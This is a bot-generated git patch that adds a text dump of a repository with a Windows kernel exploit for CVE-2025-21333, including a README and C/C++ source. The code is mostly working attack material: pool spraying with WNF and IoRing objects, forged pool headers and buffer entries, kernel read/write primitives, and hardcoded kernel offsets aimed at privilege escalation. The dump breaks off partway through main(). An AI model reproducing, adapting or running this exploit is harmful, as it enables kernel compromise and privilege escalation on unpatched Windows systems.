From f682bc390cc94509d2307ccbb93c64c8930a5d99 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Wed, 6 May 2026 12:07:45 +0000 Subject: [PATCH] archive: add 1 repo prompt(s) [skip ci] --- archive/nu1lptr0/CVE-2025-21333.txt | 1446 +++++++++++++++++++++++++++ 1 file changed, 1446 insertions(+) create mode 100644 archive/nu1lptr0/CVE-2025-21333.txt diff --git a/archive/nu1lptr0/CVE-2025-21333.txt b/archive/nu1lptr0/CVE-2025-21333.txt new file mode 100644 index 00000000..599086fd --- /dev/null +++ b/archive/nu1lptr0/CVE-2025-21333.txt @@ -0,0 +1,1446 @@ +Project Path: arc_nu1lptr0_CVE-2025-21333_vf1ixspb + +Source Tree: + +```txt +arc_nu1lptr0_CVE-2025-21333_vf1ixspb +├── README.md +└── exp + ├── build + ├── build.bat + ├── helper.c + ├── helper.h + ├── hexdump.c + ├── hexdump.h + └── main.cpp + +``` + +`README.md`: + +```md +# CVE-2025-21333 + +Screenshot 2026-05-06 020752 + +--- +you can find the first version of exploit for this CVE at https://github.com/MrAle98/CVE-2025-21333-POC/tree/master . I made this new exploit inspired from the one made by MrAle98. +It is more stable and little sketchy as it doesn't open windows sandbox process for getting the GUID. I used Microsoft Defender Application Gaurd(MDAG) api for getting the +guid of the sandbox process. + +## NOTE +--- +I tried to use IoRing spray as used by MrAle98 but doing `SubmitIoRing` all at once after doing the initial setup for IoRing but it was not working for me , idk why but +it was getting exception error at `ProbeForWrite` function in the `IopIoRingDispatchRegisterBuffers` function which allocates the chunk. so I shifted to trying pipe +attribute and then queue entry . I got arbitrary read using pipe attribute but again now queue entry was not working for me to get the arbitrary write so I got the +idea of using IoRing in a different way in which I do the `SubmitIoRing` and the setup work during the spray which worked, just have to set the thread priority as time critical. + +## REF +--- +Spraying in PagedPool with min size 0x20 using IoRing mc buffer entry is a really great object , Thanks MrAle98 for it. + +you can read his blog here: [blog](medium.com/@ale18109800/cve-2025-21333-windows-heap-based-buffer-overflow-analysis-d1b597ae4bae) + +msrc: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21333 + +``` + +`exp/build.bat`: + +```bat +@echo off +del build\app.exe build\main.obj build\hexdump.obj build\helper.obj +cl.exe /EHsc /std:c++17 main.cpp hexdump.c helper.c /Fo:build\ /Fe:build\app.exe +``` + +`exp/helper.c`: + +```c +#include "helper.h" + +pNtCreateCrossVmEvent NtCreateCrossVmEvent = NULL; +pNtCreateWnfStateName NtCreateWnfStateName = NULL; +pNtUpdateWnfStateData NtUpdateWnfStateData = NULL; +pNtDeleteWnfStateData NtDeleteWnfStateData = NULL; +pNtQueryWnfStateData NtQueryWnfStateData = NULL; +pNtFsControlFile NtFsControlFile = NULL; + +HIORING Iohandle[IORING_SPRAY_SIZE] = {0}; +SPRAY_PIPE spraypipe[PIPE_SPRAY_SIZE] = {0}; + +IOP_MC_BUFFER_ENTRY* fake_bufferentry = NULL; +HANDLE inputPipe = INVALID_HANDLE_VALUE; +HANDLE outputPipe = INVALID_HANDLE_VALUE; +HANDLE inputClientPipe = INVALID_HANDLE_VALUE; +HANDLE outputClientPipe = INVALID_HANDLE_VALUE; +HIORING targetHandle = NULL; + +// load NtFunction. +// NtCreateWnfStateName, NtUpdateWnfStateData, NtCreateCrossVmEvent. +void LoadNtFunctions() +{ + NtCreateWnfStateName = (pNtCreateWnfStateName)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateWnfStateName"); + NtUpdateWnfStateData = (pNtUpdateWnfStateData)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUpdateWnfStateData"); + NtDeleteWnfStateData = (pNtDeleteWnfStateData)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDeleteWnfStateData"); + NtQueryWnfStateData = (pNtQueryWnfStateData)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryWnfStateData"); + NtCreateCrossVmEvent = (pNtCreateCrossVmEvent)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateCrossVmEvent"); + NtFsControlFile = (pNtFsControlFile)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtFsControlFile"); + if(!NtCreateCrossVmEvent || !NtCreateWnfStateName || !NtUpdateWnfStateData || !NtDeleteWnfStateData || !NtQueryWnfStateData || !NtFsControlFile) + { + printf("[!] LoadNtFunction error.\n"); + exit(EXIT_FAILURE); + } +} + +// setup the buffer that will overflow the next objects. +// args - buffers to be copy , size +// return - Object Attributes. +OBJECT_ATTRIBUTES SetupAcl(void* buffer, ULONG size) +{ + // create the object attributes. + OBJECT_ATTRIBUTES objattr; + SECURITY_DESCRIPTOR sd; + + if(!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION)) printf("[!] SecurityDescriptor Init failed.\n"); + + PACL acl = (PACL)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x10000); + if(!acl) printf("[!] Acl Alloc failed.\n"); + + // TODODOO: have to ACEs to increase the AceSize . + // below 1 ACE size 0x1c. + //2: kd> dt nt!_ACL ffff9300`442eb8f4 + // +0x000 AclRevision : 0x2 '' + // +0x001 Sbz1 : 0 '' + // +0x002 AclSize : 0x1c + // +0x004 AceCount : 1 + // +0x006 Sbz2 : 0 + // add 1 ACCESS_EVERYONE ACE. + PSID everyoneSID = NULL; + SID_IDENTIFIER_AUTHORITY worldAuth = SECURITY_WORLD_SID_AUTHORITY; + + AllocateAndInitializeSid( + &worldAuth, + 1, + SECURITY_WORLD_RID, + 0, 0, 0, 0, 0, 0, 0, + &everyoneSID + ); + + InitializeAcl(acl, 0xfff0, ACL_REVISION); + AddAccessAllowedAce(acl, ACL_REVISION, GENERIC_ALL, everyoneSID); + + // just the change struct acsesize to needed. + WORD acesize = ((ACCESS_ALLOWED_ACE*)((char*)acl + sizeof(ACL)))->Header.AceSize; + //printf("[+] old acesize= 0x%x\n", acesize); + ((ACCESS_ALLOWED_ACE*)((char*)acl + sizeof(ACL)))->Header.AceSize = 0xfff0 - sizeof(ACL); + + // from here data buffer can be added. + //char* ptr = ((char*)acl + sizeof(ACL) + acesize); + + memcpy((char*)acl + 0x40, buffer, size); + //memset((char*)acl + 0x40, 0x41, 0x500); //next object POOL_HEADER. + //hexdump((char*)acl + 0x40 + 0xff60, 0x50); + + SetSecurityDescriptorDacl(&sd, TRUE, acl, FALSE); + InitializeObjectAttributes(&objattr, NULL, OBJ_CASE_INSENSITIVE, NULL, &sd); + + return objattr; +} + +// spray wnf state name. +// nt!ExpWnfWriteStateData is the function allocating the obj. +// args - buf, size +// return - statename +PWNF_STATE_NAME SprayWnf(void* buffer, ULONG size) +{ + + PWNF_STATE_NAME state = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(WNF_STATE_NAME)); + + // state->Data[0] = 0xdeadbeef; + // state->Data[1] = 0xfeedf00d; + + SECURITY_DESCRIPTOR sd; + InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION1); + + //void* buf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x1); + + NTSTATUS status = NtCreateWnfStateName(state, WnfTemporaryStateName, WnfDataScopeMachine, FALSE, 0, 0x1000, &sd); + if(!NT_SUCCESS(status)) printf("NtCreateWnfStateName error: 0x%lx\n", status); + status = NtUpdateWnfStateData(state, buffer, size, 0x0, 0x0, 0x0, 0x0); + if(!NT_SUCCESS(status)) printf("NtUpdateWnfStateData error: 0x%lx\n", status); + + return state; +} + +ULONG find_wnf_index(ULONG changestamp, PWNF_STATE_NAME state[]) +{ + void* buffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x150); + for(int i = 0; i < SPRAY_SIZE_2; i++) + { + ULONG stamp = 0; + ULONG size = 0x30; + HRESULT res = NtQueryWnfStateData(state[i], NULL, NULL, &stamp, buffer, &size); + if(res!= 0) + { + res = NtQueryWnfStateData(state[i], NULL, NULL, &stamp, buffer, &size); + //printf("index: %lx, stamp: 0x%lx\n", i, stamp); + if(stamp == changestamp) return i; + } + } + + return 0; +} + + +void sprayioring() +{ + //HIORING Iohandle[IORING_PIPE_SPRAY_SIZE] = {0}; + //SPRAY_PIPE spraypipe[IORING_PIPE_SPRAY_SIZE] = {0}; + + IORING_CREATE_FLAGS flag ={0}; + flag.Advisory = IORING_CREATE_ADVISORY_FLAGS_NONE; + flag.Required = IORING_CREATE_REQUIRED_FLAGS_NONE; + + IORING_BUFFER_INFO RegBuffer[0x8] = {0}; + memset(RegBuffer, 0, sizeof(IORING_BUFFER_INFO)* 0x8); + RegBuffer[0].Address = VirtualAlloc(NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + if (!RegBuffer[0].Address) + { + printf("[-] Failed to allocate prereg buffer\n"); + } + memset(RegBuffer[0].Address, 0x41, 0x100); + RegBuffer[0].Length = 0x10; + + for(int i = 0; i < IORING_SPRAY_SIZE; i++) + { + HRESULT res = CreateIoRing(IORING_VERSION_3, flag, 0x1000, 0x2000, &Iohandle[i]); + //printf("Iohandle: 0x%llx\n", (ULONG_PTR)Iohandle[i]); + if(!SUCCEEDED(res)) printf("CreateIoRing failed.\n"); + + res = BuildIoRingRegisterBuffers(Iohandle[i], 0x8, RegBuffer, 0x0); + if(!SUCCEEDED(res)) printf("BuildIoRingRegisterBuffer failed.\n"); + + //printf("Iohandle: 0x%llx\n", (ULONG_PTR)Iohandle[i]); + res = SubmitIoRing(Iohandle[i], 0x0, INFINITE, NULL); + if(!SUCCEEDED(res)) printf("submitIoRing Failed.\n"); + } + +} + +void arb_read(pipe_attribute_t* fake_attribute, int idx, char* where, size_t size, char* out) +{ + char arb_read[0x1000] = {0}; + size_t asksize; + + asksize = size; + // if size <=8 , it will not use the pointer + if(size<=8) asksize = 9; + + fake_attribute->ValueSize = asksize; + fake_attribute->AttributeValue = where; + + IO_STATUS_BLOCK iosb; + char input[ATTRIBUTE_LENGTH] = ATTRIBUTE_NAME; //Z + + NTSTATUS status = NtFsControlFile(spraypipe[idx].pipe_write, + NULL, + NULL, + NULL, + &iosb, + 0x110038, + input, + ATTRIBUTE_LENGTH, + arb_read, + sizeof(arb_read)); + if(!NT_SUCCESS(status)) + { + printf("[!][arb_read] Pipe Get attribute failed\n"); + } + //hexdump(arb_read, size); + + memcpy(out, arb_read, size); +} + +BOOL KRead(PVOID TargetAddress, PBYTE pOut, SIZE_T size) { + DWORD bytesRead = 0; + HRESULT result; + UINT32 submittedEntries; + IORING_CQE cqe; + + memset(fake_bufferentry, 0, sizeof(IOP_MC_BUFFER_ENTRY)); + fake_bufferentry->Address = TargetAddress; + fake_bufferentry->Length = size; + fake_bufferentry->Type = 0xc02; + fake_bufferentry->Size = 0x80; + fake_bufferentry->AccessMode = 1; + fake_bufferentry->ReferenceCount = 1; + + IORING_BUFFER_REF requestDataBuffer = IoRingBufferRefFromIndexAndOffset(0, 0); + IORING_HANDLE_REF requestDataFile = IoRingHandleRefFromHandle(outputClientPipe); + + result = BuildIoRingWriteFile(targetHandle, + requestDataFile, + requestDataBuffer, + size, + 0, + FILE_WRITE_FLAGS_NONE, + 0x0, + IOSQE_FLAGS_NONE); + if (!SUCCEEDED(result)) + { + printf("[-] Failed building IO ring read file structure: 0x%x\n", result); + return FALSE; + } + + result = SubmitIoRing(targetHandle, 1, INFINITE, &submittedEntries); + if (!SUCCEEDED(result)) + { + printf("[-] Failed submitting IO ring: 0x%x\n", result); + return FALSE; + } + //printf("[*] submittedEntries = %d\n", submittedEntries); + // + // Check the completion queue for the actual status code for the operation + // + result = PopIoRingCompletion(targetHandle, &cqe); + if ((!SUCCEEDED(result)) || (!NT_SUCCESS(cqe.ResultCode))) + { + printf("[-] Failed reading kernel memory 0x%x\n", cqe.ResultCode); + return FALSE; + } + + BOOL res = ReadFile(outputPipe, + pOut, + size, + &bytesRead, + NULL); + if (!res) + { + printf("[-] Failed to read from output pipe: 0x%x\n", GetLastError()); + return FALSE; + } + //printf("[+] Successfully read %d bytes from kernel address 0x%p.\n", bytesRead, TargetAddress); + return res; +} + +BOOL KWrite(PVOID TargetAddress, PBYTE pValue, SIZE_T size) { + + DWORD bytesWritten = 0; + HRESULT result; + UINT32 submittedEntries; + IORING_CQE cqe; + + //printf("[*] Writing to %p the following bytes\n", TargetAddress); + //printf("[*] pValue = 0x%p\n", pValue); + //printf("[*] data: "); + //for (int i = 0; i < size; i++) { + // printf("0x%x ", pValue[i]); + //} + //printf("\n"); + if (WriteFile(inputPipe, pValue, size, &bytesWritten, NULL) == FALSE) + { + result = GetLastError(); + printf("[-] Failed to write into the input pipe: 0x%x\n", result); + return FALSE; + } + //printf("[*] bytesWritten = %d\n", bytesWritten); + // + // Setup another buffer entry, with the address of ioring->RegBuffers as the target + // Use the client's handle of the input pipe for the read operation + // + memset(fake_bufferentry, 0, sizeof(IOP_MC_BUFFER_ENTRY)); + fake_bufferentry->Address = TargetAddress; + fake_bufferentry->Length = size; + fake_bufferentry->Type = 0xc02; + fake_bufferentry->Size = 0x80; + fake_bufferentry->AccessMode = 1; + fake_bufferentry->ReferenceCount = 1; + + IORING_BUFFER_REF requestDataBuffer = IoRingBufferRefFromIndexAndOffset(0, 0); + IORING_HANDLE_REF requestDataFile = IoRingHandleRefFromHandle(inputClientPipe); + + //printf("[*] performing buildIoRingReadFile\n"); + result = BuildIoRingReadFile(targetHandle, + requestDataFile, + requestDataBuffer, + size, + 0, + 0x0, + IOSQE_FLAGS_NONE); + if (!SUCCEEDED(result)) + { + printf("[-] Failed building IO ring read file structure: 0x%x\n", result); + return FALSE; + } + + result = SubmitIoRing(targetHandle, 1, INFINITE, &submittedEntries); + if (!SUCCEEDED(result)) + { + printf("[-] Failed submitting IO ring: 0x%x\n", result); + return FALSE; + } + //printf("[*] submittedEntries = %d\n", submittedEntries); + return TRUE; +} + +// void initfakeeprocess(void* addr, void* addr_to_decrement) +// { +// memset(addr, 0x41, FAKE_EPROCESS_SIZE); // eprocess struct size approx. + +// addr = (PVOID)((DWORD64)addr + FAKE_EPROCESS_OFFSET); //affinity +// DWORD64 save = (DWORD64)addr; +// DWORD64 temp = save + 4; +// DWORD64 QuotaValues = 0xAAAAAAAAAAAAAcfc; +// DWORD64 QuotaValues2 = 0xAAAAAAAAAAA255dc; + +// memset((char *)addr - 0x40, 0xA, 0x40); +// memset((char *)addr - 0x18, 0xB, 0x1); +// memset(addr, 0x3, 1); + +// temp = (DWORD64)((char *)addr_to_decrement); +// memcpy((char *)addr + 0x568, &temp, sizeof(DWORD64)); // QuotaBlock + +// for (int i = 0xd8 + 0x60; i < 0xf0 + 0x60; i++) // active processor bitmap +// { +// memset((char *)addr + i, 2 + (i - 0xd4), 1); +// } + +// // precise values are need here, but we can't put any 0x0000 in the structure or it won't be copied +// // in kernel memory +// memcpy((char *)addr + 0xc0 + 0x60, &QuotaValues, 4); +// memcpy((char *)addr + 0xc4 + 0x60, &QuotaValues2, 4); +// memcpy((char *)addr + 0xc8 + 0x60, &QuotaValues, 4); +// memcpy((char *)addr + 0xcc + 0x60, &QuotaValues2, 4); +// } + +// int write_pipe(HANDLE pipewrite, char * data, size_t bufsize) +// { +// BOOL res = FALSE; +// DWORD resultLength = 0; + +// res = WriteFile( +// pipewrite, +// data, +// bufsize, +// &resultLength, +// NULL); + +// if (res == FALSE) +// { +// printf("[-] Failed writing to pipe with error %d !\n", GetLastError()); +// return 0; +// } +// return 1; +// } +``` + +`exp/helper.h`: + +```h +#ifndef __HELPER_H_ +#define __HELPER_H_ + +#include +#include +#include +#include +#include +//#include +#include "hexdump.h" + +#pragma comment(lib, "ole32.lib") +#pragma comment(lib, "Advapi32.lib") + +#define SPRAY_SIZE_1 0x2000 +#define SPRAY_SIZE_2 0x4000 +#define SPRAY_SIZE_3 0x500 +#define IORING_SPRAY_SIZE 0x500 +#define PIPE_SPRAY_SIZE 0x500 + +#define LEN_OF_PIPE_QUEUE_ENTRY_STRUCT 0x30 +#define ROOT_PIPE_QUEUE_ENTRY_OFFSET 0x48 +#define ROOT_PIPE_ATTRIBUTE_OFFSET 0x140 +#define FILE_OBJECT_OFFSET 0x30 +#define ATTRIBUTE_NAME "X" +#define ATTRIBUTE_LENGTH sizeof(ATTRIBUTE_NAME) + +#define DUMB_ATTRIBUTE_NAME2 "DUMB2" +#define DUMB_ATTRIBUTE_NAME2_LEN sizeof(DUMB_ATTRIBUTE_NAME2) + +#define NPFS_NPFSDCREATE_OFFSET 0x16b0 +#define NPFS_GOT_ALLOCATEPOOLWITHTAG_OFFSET 0x7620 +#define NT_ALLOCATEPOOLWITHTAG_OFFSET 0xaaf2d0 + +#define NT_PSINITIALSYSTEMPROCESS_OFFSET 0xd1ea20 +#define NT_POOLQUOTACOOKIE_OFFSET 0xd1f0a8 + +#define FAKE_EPROCESS_SIZE 0x900 +#define FAKE_EPROCESS_OFFSET 0x50 + +#define OUTPUT_PIPE_NAME L"\\\\.\\pipe\\IoRingExploitOutput" +#define INPUT_PIPE_NAME L"\\\\.\\pipe\\IoRingExploitInput" + +typedef NTSTATUS (NTAPI* pNtCreateCrossVmEvent)( + PHANDLE, + ACCESS_MASK, + POBJECT_ATTRIBUTES, + ULONG, + LPGUID, + LPGUID +); + +typedef struct _KEVENT { + unsigned char Header[0x18]; +} KEVENT, * PKEVENT, * PRKEVENT; + +//0x80 bytes (sizeof) +typedef struct _IOP_MC_BUFFER_ENTRY +{ + USHORT Type; //0x0 + USHORT Reserved; //0x2 + ULONG Size; //0x4 + LONG ReferenceCount; //0x8 + enum _IOP_MC_BUFFER_ENTRY_FLAGS Flags; //0xc + struct _LIST_ENTRY GlobalDataLink; //0x10 + PVOID Address; //0x20 + ULONG Length; //0x28 + CHAR AccessMode; //0x2c + LONG MdlRef; //0x30 + PVOID Mdl; //0x38 + struct _KEVENT MdlRundownEvent; //0x40 + ULONGLONG* PfnArray; //0x58 + BYTE dummy[0x20]; //0x60 +}IOP_MC_BUFFER_ENTRY, * PIOP_MC_BUFFER_ENTRY; + + +//0x10 bytes (sizeof) +struct _POOL_HEADER +{ + union + { + struct + { + USHORT PreviousSize:8; //0x0 + USHORT PoolIndex:8; //0x0 + USHORT BlockSize:8; //0x2 + USHORT PoolType:8; //0x2 + }; + ULONG Ulong1; //0x0 + }; + ULONG PoolTag; //0x4 + union + { + void* ProcessBilled; //0x8 + struct + { + USHORT AllocatorBackTraceIndex; //0x8 + USHORT PoolTagHash; //0xa + }; + }; +}; + +typedef struct _SPRAY_PIPE +{ + HANDLE pipe_read; + HANDLE pipe_write; +} SPRAY_PIPE, *PSPRAY_PIPE; + +typedef struct pipe_attribute { + LIST_ENTRY list; + char * AttributeName; + ULONG_PTR ValueSize; + char * AttributeValue; + char data[0]; +} pipe_attribute_t; + +// WNF specific structs + +//0x4 bytes (sizeof) +struct _WNF_NODE_HEADER +{ + USHORT NodeTypeCode; //0x0 + USHORT NodeByteSize; //0x2 +}; + +//0x10 bytes (sizeof) +struct _WNF_STATE_DATA +{ + struct _WNF_NODE_HEADER Header; //0x0 + ULONG AllocatedSize; //0x4 + ULONG DataSize; //0x8 + ULONG ChangeStamp; //0xc +}; + +typedef struct _WNF_STATE_NAME { + ULONG Data[2]; +} WNF_STATE_NAME, * PWNF_STATE_NAME; + +typedef const struct _WNF_STATE_NAME* PCWNF_STATE_NAME; + +typedef enum _WNF_STATE_NAME_LIFETIME { + WnfWellKnownStateName = 0x0, + WnfPermanentStateName = 0x1, + WnfPersistentStateName = 0x2, + WnfTemporaryStateName = 0x3 +} WNF_STATE_NAME_LIFETIME; + +typedef enum _WNF_DATA_SCOPE { + WnfDataScopeSystem = 0x0, + WnfDataScopeSession = 0x1, + WnfDataScopeUser = 0x2, + WnfDataScopeProcess = 0x3, + WnfDataScopeMachine = 0x4 +} WNF_DATA_SCOPE; + +typedef ULONG LOGICAL; +typedef ULONG WNF_CHANGE_STAMP, * PWNF_CHANGE_STAMP; + +typedef struct _WNF_TYPE_ID { + GUID TypeId; +} WNF_TYPE_ID, * PWNF_TYPE_ID; + +typedef const WNF_TYPE_ID* PCWNF_TYPE_ID; + +typedef NTSTATUS (WINAPI* pNtCreateWnfStateName)( + PWNF_STATE_NAME StateName, + WNF_STATE_NAME_LIFETIME NameLifeTime, + WNF_DATA_SCOPE DataScope, + BOOLEAN PersistData, + PCWNF_TYPE_ID TypeId, + ULONG MaximumStateSize, + PSECURITY_DESCRIPTOR SecurityDescriptor +); + +typedef NTSTATUS (WINAPI* pNtUpdateWnfStateData)( + PCWNF_STATE_NAME StateName, + const VOID* buffer, + ULONG Length, + PCWNF_TYPE_ID TypeId, + const VOID* ExplicitScope, + WNF_CHANGE_STAMP MatchingChangeStamp, + LOGICAL CheckStamp +); + +typedef NTSTATUS (WINAPI* pNtDeleteWnfStateData)( + PCWNF_STATE_NAME StateName, + const VOID* ExplicitScope +); + +typedef NTSTATUS (WINAPI* pNtQueryWnfStateData)( + PCWNF_STATE_NAME StateName, + PCWNF_TYPE_ID TypeId, + const void* ExplicitScope, + PWNF_CHANGE_STAMP ChangesStamp, + void* buffer, + PULONG buffersize +); + +typedef NTSTATUS (WINAPI* pNtFsControlFile)( + HANDLE FileHandle, + HANDLE Event, + void* ApcRoutine, + void* ApcContext, + IO_STATUS_BLOCK* IoStatusBlock, + ULONG FsControlCode, + void* InputBuffer, + ULONG InputBufferLength, + void* OutputBuffer, + ULONG OutputBufferLength +); + + +#ifdef __cplusplus +extern "C" { +#endif + +extern HIORING Iohandle[IORING_SPRAY_SIZE]; +extern SPRAY_PIPE spraypipe[PIPE_SPRAY_SIZE]; +extern IOP_MC_BUFFER_ENTRY* fake_bufferentry; + +extern HANDLE inputPipe; +extern HANDLE outputPipe ; +extern HANDLE inputClientPipe; +extern HANDLE outputClientPipe; +extern HIORING targetHandle; + +extern pNtFsControlFile NtFsControlFile; +extern pNtCreateWnfStateName NtCreateWnfStateName; +extern pNtUpdateWnfStateData NtUpdateWnfStateData; +extern pNtCreateCrossVmEvent NtCreateCrossVmEvent; +extern pNtDeleteWnfStateData NtDeleteWnfStateData; +extern pNtQueryWnfStateData NtQueryWnfStateData; + +void LoadNtFunctions(); +void sprayioring(); +PWNF_STATE_NAME SprayWnf(void* buffer, ULONG size); +OBJECT_ATTRIBUTES SetupAcl(void* buffer, ULONG size); +ULONG find_wnf_index(ULONG changestamp, PWNF_STATE_NAME state[]); +void arb_read(pipe_attribute_t* fake_attribute, int idx, char* where, size_t size, char* out); +BOOL KRead(PVOID TargetAddress, PBYTE pOut, SIZE_T size); +BOOL KWrite(PVOID TargetAddress, PBYTE pValue, SIZE_T size); +// void initfakeeprocess(void* addr, void* addr_to_decrement); +// int write_pipe(HANDLE pipewrite, char * data, size_t bufsize); + +#ifdef __cplusplus +} +#endif + +#endif // __HELPER_H_ +``` + +`exp/hexdump.c`: + +```c +#include "hexdump.h" + +// hexdump from the start of the addr like xxd utils. +// OS agnostic +void hexdump(void* addr, size_t len) +{ + if( addr == NULL || len == 0) return; + unsigned char* p = (unsigned char*)addr; + + char ascii[16] = {0}; + int count = 0; + + for(int i = 0; (i <= len -1) || count ; i++) + { + + //when len reached but ascii print is missing. + if((i > len -1) && count) + { + int k = 0; + while(k < (48 - count*3)/2) + { + printf(" ");// 2 spaces. + k++; + } + for(int j = 0; j < 16; j++) printf("%c", ascii[j]); + printf("\n"); + break; + } + + // print new row + if(count % 0x10 == 0) + { + if(i != 0) + { + for(int j = 0; j < 16; j++) printf("%c", ascii[j]); + memset(ascii, 0, 16); + count = 0; + printf("\n"); + } + + printf("0x%08x: ", i); + } + + // print hex + unsigned char c = *(p + i); + printf("%02x ", c); + //store ascii + if(isprint(c)) + { + ascii[i % 0x10] = c; + } + else ascii[i % 0x10] = '.'; + count++; + } + +} +``` + +`exp/hexdump.h`: + +```h +#ifndef __HEXDUMP_H_ +#define __HEXDUMP_H_ + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +void hexdump(void* addr, size_t len); + +#ifdef __cplusplus +} +#endif + +#endif // __HEXDUMP_H_ +``` + +`exp/main.cpp`: + +```cpp +#include "helper.h" + +// get the GUID of the windows sandox container of some process +// running using MDAG. +GUID GetGuid() +{ + GUID containerId; + + HRESULT hr = CoInitializeEx(nullptr, COINIT_MULTITHREADED); + if(FAILED(hr)) goto leave; + + IIsolatedProcessLauncher* launcher = nullptr; + + hr = CoCreateInstance( + CLSID_IsolatedAppLauncher, + nullptr, + CLSCTX_LOCAL_SERVER, + IID_IIsolatedProcessLauncher, + (void**)&launcher + ); + //std::cout << "CoCreateInstance failed: 0x" << std::hex << hr << "\n"; + if(SUCCEEDED(hr)) + { + hr = launcher->GetContainerGuid(&containerId); + //std::cout << "GetContainerGuid failed: 0x" << std::hex << hr << "\n"; + if(SUCCEEDED(hr)) + { + printf("[+] GUID acquired\n"); + } + + printf("[+] GUID: {%08lX-%04X-%04X-%02X%02X-", + containerId.Data1, + containerId.Data2, + containerId.Data3, + containerId.Data4[0], + containerId.Data4[1]); + + + for (int i = 2; i < 8; i++) printf("%02X", containerId.Data4[i]); + + printf("}\n"); + + launcher->Release(); + } + + CoUninitialize(); + + return containerId; + + // jmp code for error.. + leave: + exit(EXIT_FAILURE); +} + +int main() +{ + + PWNF_STATE_NAME state1[SPRAY_SIZE_1] = {0}; + PWNF_STATE_NAME state2[SPRAY_SIZE_2] = {0}; + PWNF_STATE_NAME state3[SPRAY_SIZE_3] = {0}; + + // load the Nt Functions + LoadNtFunctions(); + + // get the VmId + GUID VmId = GetGuid(); + + //preparepipe_ioring(); + + SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS); + SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL); + + // spray wnf state name + void* spray = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x30); + memset(spray, 0x42, 0x30); + //first spray 0x2000 + for(int i = 0; i < SPRAY_SIZE_1; i++) + { + state1[i] = SprayWnf(spray, 0x30); + } + //DebugBreak(); + + // second spray 0x4000 + // the spray is not always successful in the sense + // that there is not always enough pages like + // greater than 16 pages for sufficient overflow. + // working good as of now. + for(int j = 0; j < SPRAY_SIZE_2; j++) + { + state2[j] = SprayWnf(spray, 0x30); + } + //DebugBreak(); + + // create the hole every 50 from the last... + for(int z= SPRAY_SIZE_2 - 0x100 ; z > 0; z -= 50) + { + NtDeleteWnfStateData(state2[z], NULL); + state2[z] = NULL; + } + //DebugBreak(); + + /* + ffffcf04`f12c6670 6f526956`03050000 00000000`00000000 <-- POOL_HEADER + ffffcf04`f12c6680 00000000`00000000 00000000`00000000 + ffffcf04`f12c6690 00000000`00000000 00000000`00000000 + ffffcf04`f12c66a0 00000000`00000000 00000000`00000000 + ffffcf04`f12c66b0 00000000`00000000 00000000`00000000 + ffffcf04`f12c66c0 20666e57`0b050000 9ec928cb`b0219e3a <-- POOL_HEADER wnf need to be maintained. + ffffcf04`f12c66d0 00000030`00100904 00000001`00000030 <-- wnf-state data + ffffcf04`f12c66e0 42424242`42424242 42424242`42424242 + ffffcf04`f12c66f0 42424242`42424242 42424242`42424242 + ffffcf04`f12c6700 42424242`42424242 42424242`42424242 + ffffcf04`f12c6710 20666e57`0b050000 9ec928cb`b0219fea + ffffcf04`f12c6720 00000030`00100904 00000001`00000030 + + 3: kd> dt nt!_POOL_HEADER ffffcf04`f12c66c0 + +0x000 PreviousSize : 0y00000000 (0) + +0x000 PoolIndex : 0y00000000 (0) + +0x002 BlockSize : 0y00000101 (0x5) + +0x002 PoolType : 0y00001011 (0xb) + +0x000 Ulong1 : 0xb050000 + +0x004 PoolTag : 0x20666e57 + +0x008 ProcessBilled : 0x9ec928cb`b0219e3a _EPROCESS + +0x008 AllocatorBackTraceIndex : 0x9e3a + +0x00a PoolTagHash : 0xb021 + + 3: kd> dt nt!_WNF_STATE_DATA ffffcf04`f12c66d0 + +0x000 Header : _WNF_NODE_HEADER + +0x004 AllocatedSize : 0x30 + +0x008 DataSize : 0x30 + +0x00c ChangeStamp : 1 + 3: kd> dx -id 0,0,ffff9206aa7840c0 -r1 (*((ntkrnlmp!_WNF_NODE_HEADER *)0xffffcf04f12c66d0)) + (*((ntkrnlmp!_WNF_NODE_HEADER *)0xffffcf04f12c66d0)) [Type: _WNF_NODE_HEADER] + [+0x000] NodeTypeCode : 0x904 [Type: unsigned short] + [+0x002] NodeByteSize : 0x10 [Type: unsigned short] + + */ + + //setup the acl + // 0xfff0 - 0x40 = 0xffb0 =0x332 objects + 0x10; + void* data = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0xffb0); + void* wnf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x50); + _POOL_HEADER* wnfpoolheader = (_POOL_HEADER*)wnf; + wnfpoolheader->PreviousSize = 0x0; + wnfpoolheader->PoolIndex = 0x0; + wnfpoolheader->BlockSize = 0x5; + wnfpoolheader->PoolType = 0xb & ~(1<<3); //clear pool quota bit (bit 3) from gthub ale98 + //wnfpoolheader->Ulong1 = 0xb050000; // never set this shit it enables the pool quota bit. + wnfpoolheader->PoolTag = 0x20666e57; + wnfpoolheader->ProcessBilled = (void*)0x4141414141414141; + + _WNF_STATE_DATA* wnfstatedata = (_WNF_STATE_DATA*)((char*)wnf + sizeof(_POOL_HEADER)); + wnfstatedata->Header.NodeTypeCode = 0x904; + wnfstatedata->Header.NodeByteSize = 0x10; + wnfstatedata->ChangeStamp = 0x0; // will be set later and used for the statename. + wnfstatedata->AllocatedSize = 0xf0; + wnfstatedata->DataSize = 0xf0; + memset((char*)wnf + sizeof(_POOL_HEADER) + sizeof(_WNF_STATE_DATA), 0x0, 0x30); + + ULONG wnf_start_idx = 10; + for(int size = 